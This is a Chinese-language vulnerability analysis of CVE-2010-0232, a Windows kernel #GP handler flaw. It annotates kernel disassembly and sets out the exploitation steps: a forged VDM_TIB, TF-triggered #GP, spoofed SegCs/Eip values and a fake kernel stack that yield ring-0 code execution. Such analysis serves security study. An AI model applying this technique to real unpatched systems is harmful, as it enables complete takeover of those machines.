#GP 异常处理函数设计缺陷引发的漏洞(CVE-2010-0232)

漏洞描述

在16位应用程序中,为了支持bios 服务例程,windows nt内核支持 virtual-8086模式下的bios调用的概念。在v86模式下内核通过触发一个#GP异常来实现bios调用,在KiTrap0d(#GP通用保护异常处理函数)内, 当KTRAP_FRAME.SegCs 等于0x0B 且 KTRAP_FRAME.Eip 等于Ki386BiosCallReturnAddress时,会跳到Ki386BiosCallReturnAddress函数, 此函数会使用KTRAP_FRAME.ESI作为栈指针进行堆栈操作,但是没有进行合法性检查,当KTRAP_FRAME.ESI的值可以被我们控制时,会造成以ring0 权限执行任意代码。此漏洞通过VDM伪造Trap Frame, 在iret 执行时 ,触发#GP异常 进而触发漏洞。

为了绕过检查最终触发漏洞,需要解决以下3点:

  • 设置TEB->Vdm->Conext需要SeTcbPrivilege权限。
  • ring 3下,不能设置cs为任意值。
  • ring 3下,不能伪造Trap Frame.

在NtVdmControl系统服务中,创建一个VDM conext需要设置EPROCESS->Flags.VdmAllowed。VdmAllowed仅可以通过NtSetInformationProcess设置,此函数会检查调用者是否具有 SeTcbPrivilege权限,通过建立一个ntvdm子系统,然后使用CreateRemoteThread在子系统上下文环境下执行一个线程,此标志会被设置,可以解决第一点。

cpl通常为cs和ss的低两位,表示当前任务的特权级。而在Virtual-8086模式下cs用来进行寻址操作,因此在V86模式下,可以设置cpl为任意值。

通过iret返回到用户模式,需要两个阶段,分为 pre-mommit和post-commit两个阶段。 可以通过NTVdmControl来设置一个Vdm Conext, 通过设置context的flags.TF位,使 pre-commit失败,因此可以伪造一个陷阱帧。

漏洞分析

当执行NtVdmControl(VdmStartExecution, NULL)时 , NtVdmControl –> nt!VdmpStartExecution, 会调用 nt!VdmpGetVdmTib来获取VdmTib,并检查我们的VdmTib.Size (TEB->Vdm);

kd> uf nt!VdmpGetVdmTib
nt!VdmpGetVdmTib:
80980bd8 6a18            push    18h
80980bda 6890a78080      push    offset nt!`string'+0xfc8 (8080a790)
80980bdf e8d03fefff      call    nt!__SEH_prolog (80874bb4)
80980be4 33d2            xor     edx,edx
80980be6 8955e4          mov     dword ptr [ebp-1Ch],edx
80980be9 8955fc          mov     dword ptr [ebp-4],edx
80980bec 64a118000000    mov     eax,dword ptr fs:[00000018h]          ; _KPCR->_NT_TIB->Self指向用户层的TEB
80980bf2 8b80180f0000    mov     eax,dword ptr [eax+0F18h]             ; _TEB->Vdm
80980bf8 8945e0          mov     dword ptr [ebp-20h],eax               ; 保存起来
80980bfb 3bc2            cmp     eax,edx                        
80980bfd 7509            jne     nt!VdmpGetVdmTib+0x30 (80980c08)

nt!VdmpGetVdmTib+0x27:
80980bff c745e4010000c0  mov     dword ptr [ebp-1Ch],0C0000001h
80980c06 eb31            jmp     nt!VdmpGetVdmTib+0x61 (80980c39)

nt!VdmpGetVdmTib+0x30:
80980c08 8945d8          mov     dword ptr [ebp-28h],eax
80980c0b 8b0d98e28880    mov     ecx,dword ptr [nt!MmUserProbeAddress (8088e298)]
80980c11 3bc1            cmp     eax,ecx                              ; 测试_TEB->VDM是否为用户层地址
80980c13 7202            jb      nt!VdmpGetVdmTib+0x3f (80980c17)

nt!VdmpGetVdmTib+0x3d:
80980c15 8811            mov     byte ptr [ecx],dl

nt!VdmpGetVdmTib+0x3f:
80980c17 8a08            mov     cl,byte ptr [eax]                    ; 如果Vdm地址合法,跳到这里
80980c19 8808            mov     byte ptr [eax],cl
80980c1b 8d8877060000    lea     ecx,[eax+677h]
80980c21 8a19            mov     bl,byte ptr [ecx]                    ; 这两条指令测试读写内存是否合法
80980c23 8819            mov     byte ptr [ecx],bl                    ;
80980c25 813878060000    cmp     dword ptr [eax],678h                 ; 这里检查VdmTib.Size
80980c2b 740c            je      nt!VdmpGetVdmTib+0x61 (80980c39)

nt!VdmpGetVdmTib+0x55:
80980c2d c745e4010000c0  mov     dword ptr [ebp-1Ch],0C0000001h
80980c34 33c0            xor     eax,eax
80980c36 8945e0          mov     dword ptr [ebp-20h],eax

nt!VdmpGetVdmTib+0x61:
80980c39 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
80980c3d 8b4d08          mov     ecx,dword ptr [ebp+8]
80980c40 8901            mov     dword ptr [ecx],eax                  ; 将VdmTib的地址存放到第一个参数指向的地址处
80980c42 8b45e4          mov     eax,dword ptr [ebp-1Ch]              ; 返回值
80980c45 eb18            jmp     nt!VdmpGetVdmTib+0x87 (80980c5f)

nt!VdmpGetVdmTib+0x87:
80980c5f e88b3fefff      call    nt!__SEH_epilog (80874bef)
80980c64 c20400          ret     4

Thread Information Block for VDMThreads

typedef struct _Vdm_Tib {
ULONG Size;                 // 会在nt!VdmpGetVdmTib中检查
PVDM_INTERRUPTHANDLER VdmInterruptTable;
PVDM_FAULTHANDLER VdmFaultTable;
CONTEXT MonitorContext;
CONTEXT VdmContext;         // 会在后面用到
VDMEVENTINFO EventInfo;
VDM_PRINTER_INFO PrinterInfo;
ULONG TempArea1[2];
ULONG TempArea2[2];
VDMTRACEINFO TraceInfo;
ULONG IntelMSW;
LONG NumTasks;
PFAMILY_TABLE *pDpmFamTbls;
BOOLEAN ContinueExecution;
} VdmTib = {0};

TEB->Vdm 这里可以设置我们自己构造的VDM_TIB结构体

 *NtCurrentTeb()->Reserved4 =&VdmTib;   

之后nt!VdmpStartExecution 会调用 nt!VdmSwapContexts。而在nt!VdmSwapContexts函数中会修改KiFastCallEntry创建的陷阱帧(trap frame)。将trap frame修改为我们的VdmTib.VdmContext, 见以下代码实现:

nt!VdmSwapContexts(PKTRAP_FRAME TrapFrame,PCONTEXT MonitorContext, PCONTEXT VdmContext) {
TrapFrame->SegCs = VdmContext->SegCs;
TrapFrame->HardwareSegSs = VdmContext->SegSs;
TrapFrame->Eax = VdmContext->Eax;
TrapFrame->Ebx = VdmContext->Ebx;
TrapFrame->Ecx = VdmContext->Ecx;
TrapFrame->Edx = VdmContext->Edx;
TrapFrame->Esi = VdmContext->Esi;
TrapFrame->Edi = VdmContext->Edi;
TrapFrame->Ebp = VdmContext->Ebp;
TrapFrame->HardwareEsp = VdmContext->Esp;
TrapFrame->Eip = VdmContext->Eip;

TrapFrame->SegCs |= RPL_MASK;
TrapFrame->HardwareSegSs |= RPL_MASK;
  /*Check for bogus CS */
  if(TrapFrame->SegCs < KGDT_R0_CODE) {
   /* Set user-mode */
   TrapFrame->SegCs = KGDT_R3_CODE | RPL_MASK;
  }
}

因此trap frame可以被我们控制,在返回ring3时会调用 iret指令。

根据intel手册,可知:
在cpu执行iret过程中,EFLAG寄存器的TF和VM标志位可影响执行结果, 当vm=1时将在v86模式下创建任务,当tf=1时,可引发 #GP异常。

设置如下,会导致一个#GP异常:
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;

当#GP异常发生时,CPU运行在RING0,且此时堆栈并没有切换(因为没有进行特权级切换),即陷阱帧保持不变。

在KiTrap0d(#GP通用保护异常处理函数)内:

nt!KiTrap0D+0x22f:
8053ff8f b842015080 mov    eax,offset nt!Ki386BiosCallReturnAddress(80500142)
8053ff94 3b02       cmp    eax,dword ptr [edx]              ; edx = KTRAP_FRAME.Eip  (VdmContext->eip)
8053ff96 750e       jne    nt!KiTrap0D+0x246 (8053ffa6)
8053ff98 8b4204     mov    eax,dword ptr [edx+4]            ; edx+4 = KTRAP_FRAME.SegCs  (VdmContext->SegCs)
8053ff9b 6683f80b   cmp    ax,0Bh
8053ff9f 7505       jne    nt!KiTrap0D+0x246 (8053ffa6)
8053ffa1 e99c01fcff jmp    nt!Ki386BiosCallReturnAddress (80500142)

由上代码可知:只要构造如下,执行流程就会跳到Ki386BiosCallReturnAddress:
Tib.VdmContext.SegCs = 0x0B;
Tib.VdmContext.Eip = Ki386BiosCallReturnAddress;

当执行到Ki386BiosCallReturnAddress, 见 下面代码分析:

Ki386BiosCallReturnAddress
.text:0043C3CE Ki386BiosCallReturnAddressproc near
.text:0043C3CE     mov    eax, large fs:KPCR.SelfPcr                            ; kpcr[SelfPcr] 指向_KPCR
.text:0043C3D4     mov    edi, [ebp+KTRAP_FRAME.Esi]
.text:0043C3D7     mov    edi, [edi]
.text:0043C3D9     mov    esi, [eax+KPCR.NtTib.StackBase]                       ; esi指向_NT_TIB.StackBase
.text:0043C3DC     mov    ecx, 84h
.text:0043C3E1     mov    [eax+KPCR.NtTib.StackBase], edi
.text:0043C3E4     rep    movsd
.text:0043C3E6     mov    esp, [ebp+KTRAP_FRAME.Esi]                            ; 此时esp指向trap fram的esi,即VdmContext->Esi
.text:0043C3E9     add    esp, 4                                                ; esp+4
.text:0043C3EC     mov    ecx, [eax+KPCR.PrcbData.CurrentThread]
;_KPCR.PrcbData.CurrentThread (KTHREAD)

.text:0043C3F2     mov    [ecx+KTHREAD.InitialStack], edi      
;_KTHREAD.InitialStack = _NT_TIB.StackBase

.text:0043C3F5     mov    eax, [eax+KPCR.TSS]
.text:0043C3F8     sub    edi, 220h
.text:0043C3FE     mov    [eax+KTSS.Esp0], edi
.text:0043C401     pop    edx                                                   ; esp+4
.text:0043C402     mov    [ecx+KTHREAD.Teb], edx
.text:0043C405     pop    edx                                                   ; esp+4
.text:0043C406     mov    large fs:KPCR.NtTib.Self, edx
.text:0043C40D     mov    ebx, large fs:KPCR.GDT
.text:0043C414     mov    [ebx+3Ah], dx
.text:0043C418     shr    edx, 10h
.text:0043C41B     mov    byte ptr [ebx+3Ch], dl
.text:0043C41E     mov    [ebx+3Fh], dh
.text:0043C421     sti
.text:0043C422     pop    edi                                                   ; esp+4
.text:0043C423     pop    esi                                                   ; esp+4
.text:0043C424     pop    ebx                                                   ; esp+4
.text:0043C425     pop    ebp                                                   ; esp+4
.text:0043C426     retn   4

由以上代码可知: 当Tib.VdmContext.Esi 指向 如下所示伪造的栈时, Ki386BiosCallReturnAddress返回时, 会跳到被我们控制的eip处,并且此时cpl=0,即特权级为0执行eip处的代码。

KernelStack==>  |  0  |   1  |  2 |  3  |  4  |  5  |  6  |  eip |
                             +4   +4   +4   +4   +4  +4  +4

参考